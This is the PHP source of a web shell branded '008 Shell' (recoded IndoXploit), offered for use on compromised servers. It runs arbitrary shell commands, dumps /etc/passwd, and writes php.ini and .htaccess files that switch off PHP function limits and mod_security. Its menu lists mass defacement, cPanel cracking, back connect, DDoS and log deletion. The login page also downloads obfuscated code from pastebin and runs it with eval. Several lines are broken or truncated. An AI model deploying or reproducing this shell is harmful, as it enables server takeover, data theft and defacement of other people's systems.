008

<?
php
//##############################################
//##Password Shell = anakayam ##
//##IndoXploit Shell ##
//##ReCode By 008 ##
//##############################################
$lol="070b544f80462ce4ff09578f32054f65"; //password(md5)
@session_start();
@error_reporting(0);
@error_log(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
function printLogin() {
?>
<html>
<head>
<title>008 Shell V.1</title>
<style type='text/css'>
html {
margin: 20px auto;
background:black;
color: Lavender;
text-align: center;
}
pre {
color: Lavender;
}
header {
color: red;
margin: 10px auto;
}
input[type=password] {
width: 200px;
height: 25px;
color: yellow;
background: #0f0f0a;
border: 1px;
padding: 5px;
margin-left: 20px;
text-align: center;
}
.kedip {
-webkit-animation-name: blinker;
-webkit-animation-duration: 3s;
-webkit-animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
-moz-animation-name: blinker;
-moz-animation-duration: 2s;
-moz-animation-timing-function: linear;
-moz-animation-iteration-count: infinite;
animation-name: blinker;
animation-duration: 1s;
animation-timing-function: linear;
animation-iteration-count: infinite;
color: Lavender;
}
@-moz-keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
@-webkit-keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
@keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
</style>
<center><br><br>
<link href='https://i.imgur.com/hNQCYDU.png' rel='icon' type='image/x-icon'/>
<header>
<br><br><br><br><br><br>
<div align="center">
<img class="img_fuck" src="https://i.imgur.com/Gahqjuu.jpg" style="width:350">
</div><br><br>
</header>
<div style="border:1px solid #00000;background:#000000;width:320px;padding:5px;">
<br>
<style>
body { color:#40FF00;background:url no-repeat center center fixed;}
input { color:#000000;margin:0;background-color:black;border:1px solid
#000000; }
</style>
<center>
<form method=post>
<input type=password name=jancox>
</form></center>
<?php
eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/6PJ9Pj8F'))
));
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $lol ) ||
( isset( $_POST['jancox'] ) && ( md5($_POST['jancox']) == $lol ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
@ob_clean();
$file = $_GET['file'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
?>
<html>
<head>
<title>008 Shell V.1</title>
<meta name='author' content='008'>
<meta charset="UTF-8">
<meta charset="UTF-8">
<link href='https://i.imgur.com/hNQCYDU.png' rel='icon' type='image/x-icon'/>
<link href='https://fonts.googleapis.com/css?family=Abel' rel='stylesheet'
type='text/css'>
<link href='https://fonts.googleapis.com/css?family=Lobster' rel='stylesheet'
type='text/css'>
<link rel='stylesheet' type='text/css' href="https://fonts.googleapis.com/css?
family=Times">
<link href='https://fonts.googleapis.com/css?family=Audiowide|Space+Mono'
rel='stylesheet'>
<link href="https://fonts.googleapis.com/css?family=Wallpoet" rel='stylesheet'
type='text/css'>
<link href='https://fonts.googleapis.com/css?family=Gloria+Hallelujah|
Permanent+Marker' rel='stylesheet'>
<link href='https://fonts.googleapis.com/css?family=courier+new|Permanent+Marker'
rel='stylesheet'>
<link href="https://fonts.googleapis.com/css?family=Quicksand" rel='stylesheet'
type='text/css'>
<link href="https://fonts.googleapis.com/css?family=Orbitron" rel='stylesheet'
type='text/css'>
<link href='https://fonts.googleapis.com/css?family=VT323' rel='stylesheet'>
<link href='https://fonts.googleapis.com/css?family=Ubuntu' rel='stylesheet'>
<link href="https://fonts.googleapis.com/css?family=Iceland" rel='stylesheet'
type='text/css'>
<link href="https://fonts.googleapis.com/css?family=Allerta+Stencil"
rel='stylesheet' type='text/css'>
<link href="https://fonts.googleapis.com/css?family=Kumar+One+Outline"
rel='stylesheet' type='text/css'>
<link href='https://fonts.googleapis.com/css?family=Bungee+Shade|Monoton|
Nova+Square' rel='stylesheet'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
html {
background: #000000;
color: #ffffff;
font-family: 'Ubuntu';
font-size: 13px;
width: 100%;
}
li {
display: inline;
margin: 5px;
padding: 5px;
}
table, th, td {
border-collapse:collapse;
font-family: Tahoma, Geneva, sans-serif;
background: transparent;
font-size: 13px;
}
.table_home, .th_home, .td_home {
border: 1px solid #424242;
}
th {
padding: 10px;
}
a {
color: #ffffff;
text-decoration: none;
}
a:hover {
color: gray;
text-decoration: underline;
}
b {
color: gray;
}
input[type=text], input[type=password],input[type=submit] {
color: #ffffff;
border: 1px solid #ffffff;
margin: 5px auto;
padding-left: 5px;
font-size: 13px;
}
textarea {
width: 100%;
height: 400px;
padding-left: 5px;
margin: 10px auto;
resize: none;
color: #ffffff;
font-size: 13px;
}
select {
width: 152px;
color: cyan;
margin: 5px auto;
padding-left: 5px;
font-size: 13px;
}
option:hover {
background: cyan;
color: #000000;
}
</style>
</head>
@import url(http://fonts.googleapis.com/css?family=Share+Tech+Mono);
html {
color: #ffffff;
font-family: 'Share Tech Mono';
font-size: 12px;
width: 100%;
}
li {
display: inline;
margin: 2px;
padding: 2px;
}
#menu a {
padding:2px 10px;
margin:0;
background:#222222;
text-decoration:none;
letter-spacing:2px;
padding: 2px 10px;
margin: 0;
letter-spacing: 2px;
border-radius: 2px;
border-bottom: 2px solid black;
border-top: 2px solid black;
border-right: 2px solid yellow;
border-left: 2px solid yellow;
}
#menu a:hover {
background:#234443;
border-bottom:0px solid #333333;
border-top:0px solid #333333;
}
table tr:first-child{
background: #51514c;
text-align: center;
color: Lavender;
}
table, th, td {
border-collapse:collapse;
font-family: Tahoma, Geneva, sans-serif;
font-size: 13px;
}
.table_home, .th_home, .td_home {
border: 1px solid #51514c;
}
.td_home:hover {
background:gray;
}
th {
padding: 10px;
}
a {
color: #ffffff;
}
a:hover {
color: lavender;
text-decoration: underline;
}
b {
color: lavender;
}
input[type=text], input[type=password],input[type=submit] {
color: #ffffff;
margin: 5px auto;
padding-left: 5px;
font-size: 13px;
}
input[type=submit] {
color: #ffffff;
margin: 5px auto;
padding-left: 5px;
font-size: 13px;
cursor:pointer;
}
textarea {
width: 100%;
height: 400px;
padding-left: 5px;
margin: 10px auto;
resize: none;
color: #ffffff;
font-size: 13px;
}
select {
width: 152px;
color: Lavender;
margin: 5px auto;
padding-left: 5px;
font-size: 13px;
}
option:hover {
background: #ff0066;
color: #000000;
}
.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #ff0000;
padding:4px 2px;width:70%;line-height:24px;background:none;box-shadow: 0px 4px 2px
white;-webkit-box-shadow: 0px 4px 2px #ff0000;-moz-box-shadow: 0px 4px 2px
#ff0000;}
.cgx2 {text-align: center;letter-spacing:1px;font-family: "Share Tech Mono";color:
#ff0000;font-size:25px;text-shadow: 5px 5px 5px black;}
.infoweb {
border-right: 1px solid #00FFFF;
}
</style>
</head>
<?php
function w($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=yellow>".$perm."</font>";
}
}
function r($dir,$perm) {
if(!is_readable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
function getsource($url) {
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
function bing($dork) {
$npage = 1;
$npages = 30000;
$allLinks = array();
$lll = array();
while($npage <= $npages) {
$x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
if($x) {
preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
$npage = $npage + 10;
if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) ==
0) break;
} else break;
}
$URLs = array();
foreach($allLinks as $url){
$exp = explode("/", $url);
$URLs[] = $exp[2];
}
$array = array_filter($URLs);
$array = array_unique($array);
$sss = count(array_unique($array));
foreach($array as $domain) {
echo $domain."\n";
}
}
function reverse($url) {
$ch = curl_init("http://domains.yougetsignal.com/domains.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","",
str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","",
str_replace(", ",",", str_replace(", ",",", str_replace("'","",
str_replace("'","", str_replace(":",",", str_replace('"','',
$resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
foreach($array as $lnk) {
$lnk = "http://$lnk";
$lnk = str_replace(",", "", $lnk);
echo $lnk."\n";
ob_flush();
flush();
}
curl_close($ch);
}
if(get_magic_quotes_gpc()) {
function idx_ss($array) {
return is_array($array) ? array_map('idx_ss', $array) :
stripslashes($array);
}
$_POST = idx_ss($_POST);
$_COOKIE = idx_ss($_COOKIE);
}
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($dir);
} else {
$dir = getcwd();
}
$kernel = php_uname();
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$dir = str_replace("\\","/",$dir);
$scdir = explode("/", $dir);
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" :
"<font color=lime>OFF</font>";
$ds = @ini_get("disable_functions");
$mysql = (function_exists('mysql_connect')) ? "<font color=yellow>ON</font>" :
"<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font
color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font
$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font
$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font
color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$sport=$_SERVER['SERVER_PORT'];
echo "<center><font face='Iceland' size=20>008_Shell</font></center>";
echo "<center>";
echo "<hr>";
echo "System: <font color=yellow>".$kernel."</font><br>";
echo "User: <font color=yellow>".$user."</font> (".$uid.") Group: <font
color=yellow>".$group."</font> (".$gid.")<br>";
echo "Server IP: <font color=yellow>".$ip."</font> | Your IP: <font color=yellow>".
$_SERVER['REMOTE_ADDR']."</font><br>";
echo "HDD: <font color=yellow>$used</font> / <font color=yellow>$total</font>
( Free: <font color=yellow>$freespace</font> )<br>";
echo "Safe Mode: $sm<br>";
echo "Disable Functions: $show_ds<br>";
echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl
<br>";
echo "<hr>";
echo "<center>";
echo "<ul>";
echo "<div id='menu'>";
echo "<li> <a style='color: lime;' href='?'>Home</a> </li>";
echo "<li> <a href='?dir=$dir&do=upload'>Upload</a> </li>";
echo "<li> <a href='?dir=$dir&do=cmd'>Command</a> </li>";
echo "<li> <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> </li>";
echo "<li> <a href='?dir=$dir&do=jumping'>Jumping</a> </li>";
echo "<li> <a href='?dir=$dir&do=mass_delete'>Mass Delete</a> </li>";
echo "<li> <a href='?dir=$dir&do=config'>Config</a> </li><br><br>";
echo "<li> <a href='?dir=$dir&do=configv2'>Config V.2 </a> </li>";
echo "<li> <a href='?dir=$dir&do=symlink'>Symlink</a> </li>";
echo "<li> <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> </li>";
echo "<li> <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> </li>";
echo "<li> <a href='?dir=$dir&do=zoneh'>Zone-H</a> </li>";
echo "<li> <a href='?dir=$dir&do=cgi'>CGI Telnet</a> </li>";
echo "<li> <a href='?dir=$dir&do=adminer'>Adminer</a> </li><br><br>";
echo "<li> <a href='?dir=$dir&do=network'>Back Connect</a> </li>";
echo "<li> <a href='?dir=$dir&do=fake_root'>Fake Root</a> </li>";
echo "<li> <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> </li>";
echo "<li> <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> </li>";
echo "<li> <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a>
</li><br><br>";
echo "<li> <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> </li>";
echo "<li> <a href='?dir=$dir&do=ddosattack'>DDoS</a> </li>";
echo "<li> <a href='?dir=$dir&do=shellscanner'>Shell Scanner</a> </li>";
echo "<li> <a href='?dir=$dir&do=adfin'>Admin Finder</a> </li>";
echo "<li> <a href='?dir=$dir&do=ports'>Port Scanner</a> </li>";
echo "<li> <a href='?dir=$dir&do=zip'>Zip Menu</a> </li>";
echo "<li> <a href='?dir=$dir&do=csrf'>CSRF Online</a> </li><br><br>";
echo "<li> <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a> </li>";
echo "<li> <a href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a> </li>";
echo "<li> <a href='?dir=$dir&do=auto_cu_joomla'>Joomla Auto Edit User V.2</a>
</li>";
echo "<li><a href='?dir=$dir&do=cmsvuln'>CMS Vulnerability Scanner</a></li>";
echo "<li> <a href='?dir=$dir&do=contact'>Contact Me</a> </li>";
echo "<li> <a href='?dir=$dir&do=about'>About Me</a> </li><br><br>";
echo "<li> <a href='?dir=$dir&delete=logs'>Delete Logs</a> </li>";
echo "<li> <a href='?dir=$dir&symlink=404'>Symlink 404</a> </li>";
echo "<li><a href='?dir=$dir&do=vhost'>Bypass VHost</a></li>";
echo "<li><a href='?dir=$dir&do=balitbang'>Balitbang Exploiter</a></li>";
echo "<li><a href='?dir=$dir&do=string'>Encrypt & Decrypt</a></li>";
echo "<li><a href='?dir=$dir&do=hash'>Hash Generate</a></li>";
echo "<li> <a href='?dir=$dir&do=bypass'>Disable Functions</a> </li>";
echo "<li> <a style='color: yellow;' href='?logout=true'>Logout</a> </li>";
echo "</ul>";
echo "</div>";
echo "</center>";
echo "<hr>";
echo "Current DIR: ";
foreach($scdir as $c_dir => $cdir) {
echo "<a href='?dir=";
for($i = 0; $i <= $c_dir; $i++) {
echo $scdir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "'>$cdir</a>/";
}
echo " [ ".w($dir, perms($dir))." ]";
echo "<hr>";
if($_GET['logout'] == true) {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "<script>window.location='?';</script>";
}
elseif($_GET['do'] == 'bypass'){
echo "<center>";
echo "<form method=post><input type=submit name=ini value='php.ini'
/> <input type=submit name=htce value='.htaccess' /></form>";
if(isset($_POST['ini']))
{
$file = fopen("php.ini","w");
echo fwrite($file,"disable_functions=none
safe_mode = Off
");
fclose($file);
echo "<a href='php.ini'>click here!</a>";
} if(isset($_POST['htce']))
{
$file = fopen(".htaccess","w");
echo fwrite($file,"<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
");
fclose($file);
echo "htaccess successfully created!";
}
echo"</center>";
}
elseif($_GET['do'] == 'cpanel') {
$submit = $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random

string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4", $pass);

$hash_md5 = md5($salt . $pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4

$sha256 = hash("sha256", $text);
$hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5

$hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
}
echo '<center><form action="" method="post"><b> ';
echo '<center><h2><b>-=[ Password Hash]=-</b></h2></center></tr>';
echo ' <center><b>Masukkan kata yang ingin di encrypt:</b> ';
echo ' <input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo ' <br>';
echo ' Hasil Hash</th></center></tr>';
echo ' Password Original <input class=inputz type=text size=50 value=' . $pass .
'> <br><br>';
echo ' MD5 <input class=inputz type=text size=50 value=' . $hash . '> <br><br>';
echo ' MD4 <input class=inputz type=text size=50 value=' . $md4 . '> <br><br>';
echo ' MD5 with Salt <input class=inputz type=text size=50 value=' . $hash_md5 .
'> <br><br>';
echo ' MD5 with Salt & Sha1 <input class=inputz type=text size=50 value=' .
$hash_md5_double . '> <br><br>';
echo ' Sha1 <input class=inputz type=text size=50 value=' . $hash1 . '>
<br><br>';
echo ' Sha256 <input class=inputz type=text size=50 value=' . $sha256 . '>
<br><br>';
echo ' Sha1 with Salt <input class=inputz type=text size=50 value=' .
$hash1_sha1 . '> <br><br>';
echo ' Sha1 with Salt & MD5 <input class=inputz type=text size=50 value=' .
$hash1_sha1_double . '> <br><br>';
if ($_POST['awkuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST['systuser']) {
echo system("ls /var/mail");
}
if ($_POST['passthuser']) {
echo passthru("ls /var/mail");
}
if ($_POST['exuser']) {
echo exec("ls /var/mail");
}
if ($_POST['shexuser']) {
echo shell_exec("ls /var/mail");
}
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['passth'])
{
echo passthru("cat /etc/passwd");
}
if($_POST['ex'])
{
echo exec("cat /etc/passwd");
}
if($_POST['shex'])
{
echo shell_exec("cat /etc/passwd");
}
echo '<center>';
if($_POST['melex'])
{
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}
echo"</textarea><br><br>";
}
//
//
}
elseif($_GET['do'] == 'vhost') {
echo "<form method='POST' action=''>";
echo "<center><br><font size='6'>Bypass Symlink vHost</font><br><br>";
echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
if (isset($_POST['Colii'])){ system('ln -s / Rintoar.txt');
$fvckem
='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZ
GRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
$file = fopen(".htaccess","w+"); $write = fwrite ($file
,base64_decode($fvckem)); $Bok3p = symlink("/","Rintoar.txt");
$rt="<br><a href=Rintoar.txt TARGET='_blank'><font color=#ff0000
size=2 face='Courier New'><b>
Bypassed Successfully</b></font></a>";
echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder
symlink <br>$rt</center>";} echo "</form>";
}
elseif($_GET['do'] == 'balitbang') {
?>
<center>
<h1>CMS Balitbang Auto Exploiter</h1>
<form action='' method='post'>
<center>
<p>Target URL : <input style='border-color=white;' type='text' name='url'
class='text' placeholder='http://127.0.0.1/' size="50"></p>
</p>
<p><input type='submit' name='send' class='kotak' style='border-color=white;'
value='Kunci Target'></p></center>
</form>
<?php
if (isset($_POST['send'])) {
$url = $_POST['url'];
$resulturl = "Target URL : $url";
echo "<center>
<hr color='white'><br>
$resulturl
$resultoken
</center>";
echo '<center style="border-color=white;"><form enctype="multipart/form-data"
action="'.$url.'/files/tugas/tgs-ganteng.phtml" method="post"></center>';
echo '<center style="border-color=white;"><input name="file" type="file"><input
type="submit" class="kotak" value="Upload"><br><br>Format file: shell.phtml ato
shell.php5</center>';
}
echo "</div>";
}
elseif ($_GET['do'] == 'string') {
$text = $_POST['code'];
?><center>
<h1>String Encode & Decode</h1>
<form method="post"><br>
<textarea cols=80 rows=10 name="code"></textarea><br><br>
<select size="1" name="ope">
<option value="urlencode" style='background:transparent;color:aqua;'>url</option>
<option value="base64" style='background:transparent;color:aqua;'>Base64</option>
<option value="ur" style='background:transparent;color:aqua;'>convert_uu</option>
<option value="json" style='background:transparent;color:aqua;'>json</option>
<option value="gzinflates" style='background:transparent;color:aqua;'>gzinflate -
base64</option>
<option value="str2" style='background:transparent;color:aqua;'>str_rot13 -
base64</option>
<option value="gzinflate" style='background:transparent;color:aqua;'>str_rot13 -
gzinflate - base64</option>
<option value="gzinflater" style='background:transparent;color:aqua;'>gzinflate -
str_rot13 - base64</option>
<option value="gzinflatex" style='background:transparent;color:aqua;'>gzinflate -
str_rot13 - gzinflate - base64</option>
<option value="gzinflatew" style='background:transparent;color:aqua;'>str_rot13 -
convert_uu - url - gzinflate - str_rot13 - base64 - convert_uu - gzinflate - url -
str_rot13 - gzinflate - base64</option>
<option value="str" style='background:transparent;color:aqua;'>str_rot13 -
gzinflate - str_rot13 - base64</option>
<option value="url" style='background:transparent;color:aqua;'>base64 - gzinflate -
str_rot13 - convert_uu - gzinflate - base64</option>
<option value="hexencode" style='background:transparent;color:aqua;'>Hex
Encode/Decode</option>
<option value="md5" style='background:transparent;color:aqua;'><center>MD5
Hash</option>
<option value="sha1" style='background:transparent;color:aqua;'>SHA1 Hash</option>
<option value="str_rot13" style='background:transparent;color:aqua;'>ROT13
Hash</option>
<option value="strlen" style='background:transparent;color:aqua;'>strlen</option>
<option value="xxx" style='background:transparent;color:aqua;'>unescape</option>
<option value="bbb" style='background:transparent;color:aqua;'>charAt</option>
<option value="aaa" style='background:transparent;color:aqua;'>chr - bin2hex -
substr</option>
<option value="www" style='background:transparent;color:aqua;'>chr</option>
<option value="sss"
style='background:transparent;color:aqua;'>htmlspecialchars</option>
<option value="eee"
style='background:transparent;color:aqua;'>escape</option></select>
<input class='kotak' type='submit' name='submit' value='Encrypt'>
<input class='kotak' type='submit' name='crack' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
$op = $_POST["ope"];
switch ($op) {
case 'base64':
$codi = base64_encode($text);
break;
case 'str':
$codi =
(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;
case 'json':
$codi = json_encode(utf8_encode($text));
break;
case 'gzinflate':
$codi = base64_encode(gzdeflate(str_rot13($text)));
break;
case 'gzinflater':
$codi = base64_encode(str_rot13(gzdeflate($text)));
break;
case 'gzinflatex':
$codi = base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;
case 'gzinflatew':
$codi =
base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_en
code(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
break;
case 'gzinflates':
$codi = base64_encode(gzdeflate($text));
break;
case 'str2':
$codi = base64_encode(str_rot13($text));
break;
case 'urlencode':
$codi = rawurlencode($text);
break;
case 'hexencode':
$codi = bin2hex($text);
break;
case 'md5':
$codi = md5($text);
break;
case 'ur':
$codi = convert_uuencode($text);
break;
case 'str_rot13':
$codi = str_rot13($text);
break;
case 'sha1':
$codi = sha1($text);
break;
case 'strlen':
$codi = strlen($text);
break;
case 'xxx':
$codi = strlen(bin2hex($text));
break;
case 'bbb':
$codi = htmlentities(utf8_decode($text));
break;
case 'aaa':
$codi = chr(bin2hex(substr($text)));
break;
case 'www':
$codi = chr($text);
break;
case 'sss':
$codi = htmlspecialchars($text);
break;
case 'eee':
$codi = addslashes($text);
break;
case 'url':
$codi =
base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text)))
)));
break;
default:
break;
}
}
// Decrypt Start Now !!
$submit = $_POST['crack'];
$op = $_POST["ope"];
switch ($op) {
case 'base64':
$codi = base64_decode($text);
break;
case 'str':
$codi =
str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;
case 'json':
$codi = utf8_dencode(json_dencode($text));
break;
case 'gzinflate':
$codi = str_rot13(gzinflate(base64_decode($text)));
break;
case 'gzinflater':
$codi = gzinflate(str_rot13(base64_decode($text)));
break;
case 'gzinflatex':
$codi = gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;
case 'gzinflatew':
$codi =
str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_u
udecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
break;
case 'gzinflates':
$codi = gzinflate(base64_decode($text));
break;
case 'str2':
$codi = str_rot13(base64_decode($text));
break;
case 'urlencode':
$codi = rawurldecode($text);
break;
case 'hexencode':
$codi = quoted_printable_decode($text);
break;
case 'ur':
$codi = convert_uudecode($text);
break;
case 'url':
$codi =
base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text))
)))));
break;
default:
break;
}
}
echo '<textarea cols=80 rows=10 readonly>' . $codi .
'</textarea></center><BR><BR>';
}
elseif ($_GET['do'] == cmsvuln) {
@set_time_limit(0);
// Script Functions , start ..!
function ask_exploit_db($component) {
$exploitdb = "http://www.exploit-db.com/search/?
action=search&filter_page=1&filter_description=$component&filter_exploit_text=&filt
er_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osv
db=&filter_cve=";
$result = @file_get_contents($exploitdb);
if (eregi("No results", $result)) {
echo "<center><td>Gak ada</td><td><a
href='http://www.google.com/search?hl=en&q=download+
$component'>Download</a></td></tr>";
} else {
echo "<td><a href='$exploitdb'>Klik Ini..!</a></td><td><--
</td></tr>";
}
}
/**************************************************************/
/* Joomla Conf */
function get_components($site) {
$source = @file_get_contents($site);
preg_match_all('{option,(.*?)/}i', $source, $f);
preg_match_all('{option=(.*?)(&|&|")}i', $source, $f2);
preg_match_all('{/components/(.*?)/}i', $source, $f3);
$arz = array_merge($f2[1], $f[1], $f3[1]);
$coms = array();
if (count($arz) == 0) {
echo "<tr><td style='border-color:white' colspan=3>[~] Gak ada !
Keknya Site Error atau Option salah :-</td></tr>";
}
foreach (array_unique($arz) as $x) {
$coms[] = $x;
}
foreach ($coms as $comm) {
echo "<tr><td>$comm</td>";
ask_exploit_db($comm);
}
}
/**************************************************************/
/* WP Conf */
function get_plugins($site) {
preg_match_all("#/plugins/(.*?)/#i", $source, $f);
$plugins = array_unique($f[1]);
if (count($plugins) == 0) {
}
foreach ($plugins as $plugin) {
echo "<tr><td>$plugin</td>";
ask_exploit_db($plugin);
}
}
/**************************************************************/
/* Nuke's Conf */
function get_numod($site) {
preg_match_all('{?name=(.*?)/}i', $source, $f);
